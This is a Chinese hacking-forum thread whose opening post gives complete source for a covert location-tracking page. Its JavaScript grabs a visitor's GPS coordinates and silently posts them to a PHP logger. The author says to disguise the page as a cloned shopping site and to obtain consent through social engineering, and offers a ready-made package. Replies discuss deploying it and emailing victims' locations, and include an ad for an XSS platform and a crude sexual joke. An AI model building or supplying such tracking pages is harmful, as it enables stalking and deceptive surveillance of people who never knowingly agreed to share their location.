用户
搜索
  • TA的每日心情
    开心
    前天 15:20
  • 签到天数: 324 天

    连续签到: 1 天

    [LV.8]以坛为家I

    i春秋作家

    春秋闷骚男

    Rank: 7Rank: 7Rank: 7

    32

    主题

    470

    帖子

    1326

    魔法币
    收听
    0
    粉丝
    26
    注册时间
    2016-7-21

    i春秋签约作者春秋文阁

    发表于 2017-6-1 17:15:50 609274774
    本帖最后由 风在指尖 于 2017-10-4 00:25 编辑

    总所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米,
    甚至有些时候不能很好的获取对方的位置,
    以下的的技术,我自己试了,精准度在50以内

    此技术利用了HTML5 Geolocation API
    直接调用方法即可,即使是4G网页可以精准定位
    最原始代码如下,我自己加了一些

    现在编写index.php页面代码

    [AppleScript] 纯文本查看 复制代码
    <!DOCTYPE html>
    
    <html lang="en">
    
    <head>
    
        <meta charset="UTF-8">
    
        <title>Document</title>
    
    </head>
    
    <body>
    
     
    
     <img src="1.png" alt="" width="100%;">
    
        <script>
    
          var geol;       
    
            try {
    
                if (typeof(navigator.geolocation) == 'undefined') {
    
                    geol = google.gears.factory.create('beta.geolocation');
    
                } else {
    
                    geol = navigator.geolocation;
    
                }
    
            } catch (error) {
    
                //alert(error.message);
    
            }
    
            
    
            if (geol) {
    
                geol.getCurrentPosition(function(position) {
    
           
    
            var nowLatitude = position.coords.latitude;             
    
            var nowLongitude = position.coords.longitude;       
    
             //以上是固定代码,获取经度纬度
    
     
    
        alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude);  //弹出经度纬度的坐标
    
              
    
     
    
                        function new_form(){
    
                var f=document.createElement("form");
    
                document.body.appendChild(f);
    
                f.method="post";
    
                return f;
    
            }    //定义函数,创建form
    
     
    
            function create_elements(eForm,eName,eValue){
    
                var e=document.createElement("input");
    
                eForm.appendChild(e);
    
                e.type="text";
    
                e.name=eName;
    
                if(!document.all){e.style.display="none"}else{
    
                    e.style.display="block";
    
                    e.style.width="0px";
    
                    e.style.height="0px";
    
                }
    
                e.value=eValue;
    
                return e;
    
            }
    
     
    
    //这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值
    
     
    
            var _f=new_form();
    
            create_elements(_f,"username",nowLatitude) // 创建form中的input对象
    
            create_elements(_f,"password",nowLongitude);
    
          
    
            _f.action="geolocation2.php";
    
            _f.submit();   //提交
    
         
    
     //表单自提交发送到geolocation2.php页面
    
     
    
     
    
     
    
        }, function(error) {
    
            switch(error.code){
    
            case error.TIMEOUT :
    
                //alert("连接超时,请重试");
    
                break;
    
            case error.PERMISSION_DENIED :
    
                //alert("您拒绝了使用位置共享服务,查询已取消");
    
                break;
    
            case error.POSITION_UNAVAILABLE :
    
                //alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");
    
                break;
    
            }
    
        }, {timeout:10000});    //设置十秒超时
    
     
    
     
    
            }
    
     //设置连接超时的报错
    
     
    
     
    
     
    
      </script>
    
    </body>
    
    </html>



    然后来写接受页面 geolocation2.php 的代码

    [AppleScript] 纯文本查看 复制代码
    <?php
    
     @$time=date('Y-m-d H:i:s',time());  //获取当前时间
    
     $nowLatitude="纬度 ".$_POST['username'];    //接受上个页面传过来的参数(经度坐标)
    
     $nowlongitude="经度 ".$_POST['password']."   ------时间是".$time."\r\n";;    //接受上个页面传过来的参数(纬度坐标)
    
     $fp=fopen("geo.txt", "a+");  //创建一个geo.txt文件
    
     fwrite($fp, $nowLatitude);   //把经度写入到geo.txt里
    
     fwrite($fp, $nowlongitude);   //把纬度写入到geo.txt里
    
     
    
     
    
     
    
    ?>



    注意点:对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)


    现在来做个小测试

    假设让对方访问


    让对方访问我们的站点,他的页面上会显示 它自己的经度,纬度,并且经度纬度会保存在我们的站点数据里

    然后我们的站点上生成了一个geo.txt文件


    打开geo.txt

    对方的经度纬度已经写入


    现在我们打开

    把经度纬度写上去


    给我朋友做的测试,它的确在这里,精准度50

    现在来完善上面的缺点
    就是去网上扒一个购物网站的源码,把源码复制在index.php
    图如下,我把网站源码修改成当当网的了



    这样就能精准的获取到他的地址位置~~~(自己试了,超爽的~




    如果你是小白,什么都不懂,我已经把源码打包好了,你只需要把代码放在你站点上即可希望大家多多支持,如果大家觉得还不错,我会继续讲
    {@7@S($~6Y~ZRG$@30G6V7Q.png
    在 index.php 的1855行,把域名改成大家的即可

    游客,如果您要查看本帖隐藏内容请回复







    xss  交流群602221356


    评分

    参与人数 5积分 +5 魔法币 +13 收起 理由
    WodenTyr + 2
    机械鸥 + 3 欢迎分析讨论交流,i春秋论坛有你更精彩!.
    酒后云 + 3
    xiaohua114 + 3 感谢发布原创作品,i春秋论坛因你更精彩!.
    Glimmery + 5 + 2 感谢你的分享,i春秋论坛有你更精彩!.

    查看全部评分

    本帖被以下淘专辑推荐:

    xss  交流群602221356  接收XSS爱好者
    发表于 2018-3-12 19:42:27
    您好,感谢您的分享
    学生在这里学习了
    过程中遇到两个问题:
    1.html中的script脚本在本地可以执行,但是没有正常alert经纬度
    2.HTML在远程服务器上执行时没有正常运行script脚本,即浏览器没有询问用户是否对gps功能进行授权,并且没有alert任何信息

    是本地firefox浏览器对script的设置中限制了什么东西吗
    还是说在阿里云远程web服务器会对script做一些过滤?
    使用道具 举报 回复
    发表于 2018-3-12 21:11:44
    flypanda 发表于 2018-3-12 19:42
    您好,感谢您的分享
    学生在这里学习了
    过程中遇到两个问题:

    您好,打扰了
    问题已经解决了一部分
    firefox在访问远程服务器上的gps定位服务时会保护用户隐私。
    windows系统本身也有位置功能是否开启的设置。
    两个设置我都禁用了
    导致了script中位置功能的无法使用
    到饶了
    使用道具 举报 回复
    发表于 2017-12-17 22:07:56
    当打开geolocation2.php时是
    Notice: Undefined index: username in *:\webroot\WWW\geolocation2.php on line 8

    Notice: Undefined index: password in *:\webroot\WWW\geolocation2.php on line 9
    谁能告诉我发生了什么,而且电脑打开并不能显示经纬度。。。要手机吗???小白求问大神勿喷
    使用道具 举报 回复
    给,回复拿好……嗳……你这人……别跪啊……一个回复而已……男人膝下有黄金啊……你要干什么啊?嗳!别拉我裤链啊……你这人……你怎么这样?别……啊……啊……嗯……啊嗯……喔……啊……不行……你……听我说……啊……一个……回复……喔……不算什么……啊啊啊……快停下……啊……别……啊啊……要丢了……喔……别吞!脏……快吐出来……卧槽……唉……何必呢?
    使用道具 举报 回复
    码打包好了,你只需要把代码放在你站点上即可希望大家多多支持,如果大家觉得还不错,我会继续讲,只要一旦获取到别人的经度纬度,立刻会发送他们的位置到我们的邮箱里~ 不过关于定时发送邮件的技术要一些linux基础~
    使用道具 举报 回复
    发表于 2017-6-5 17:53:30
    aeva 发表于 2017-6-1 09:38
    高德地图开发者,源码已经出现,直接copy然后js写文件ok,然后伪装一个学术google。 ...

    讲得不错,不过国内人不懂翻墙的怎么进得了google,还是伪装成电商定位比较靠谱
    xss  交流群602221356  接收XSS爱好者
    使用道具 举报 回复
    实时操作的Xss平台-Mxss正式上线
    你听说过实时上线式的"XSS平台吗",还在用以前的php源码?还在用beef的ajax?是时候更新了,Mxss,给你不一样的体验!
    http://www.regmeng.com:520
    使用道具 举报 回复

    我用的是kali里面的Apache 权限给了777 222..jpg    而且电脑获取允许了,但是没有弹出经纬度,手机就有
    使用道具 举报 回复
    看着不错,下载试试
    使用道具 举报 回复
    发表于 2017-6-1 17:24:02
    Scoundrel丶You 发表于 2017-6-1 17:21
    看着不错,下载试试

    有什么不懂得可以我啊~
    xss  交流群602221356  接收XSS爱好者
    使用道具 举报 回复
    发表于 2017-6-1 17:26:47

    赶紧下载试试
    使用道具 举报 回复
    发表于 2017-6-1 17:27:55
    人与人陶冶陶冶日
    使用道具 举报 回复
    这技术要一些linux基础
    使用道具 举报 回复
    看看再说
    使用道具 举报 回复
    发表于 2017-6-1 17:31:52
    早想要份源码了
    使用道具 举报 回复
    发表于 2017-6-1 17:32:45
    icqc9b8915f 发表于 2017-6-1 17:30
    这技术要一些linux基础

    不过关于定时发送邮件的技术要一些linux基础~
    xss  交流群602221356  接收XSS爱好者
    使用道具 举报 回复
    发表于 2017-6-1 17:33:05
    登陆 发表于 2017-6-1 17:31
    早想要份源码了

    xss  交流群602221356  接收XSS爱好者
    使用道具 举报 回复
    发表于 2017-6-1 17:33:43
    感觉可以拿来看一下
    使用道具 举报 回复
    发表于 2017-6-1 17:38:29
    高德地图开发者,源码已经出现,直接copy然后js写文件ok,然后伪装一个学术google。
    使用道具 举报 回复
    发表于 2017-6-1 17:44:21
    厉害了我的歌
    使用道具 举报 回复
    发表于 2017-6-1 17:44:29
    楼主geo.txt文件写的到当前目录里吗? 我给了777权限都写不进去哎~
    使用道具 举报 回复
    膜拜下
    使用道具 举报 回复
    您需要登录后才可以回帖 登录 | 立即注册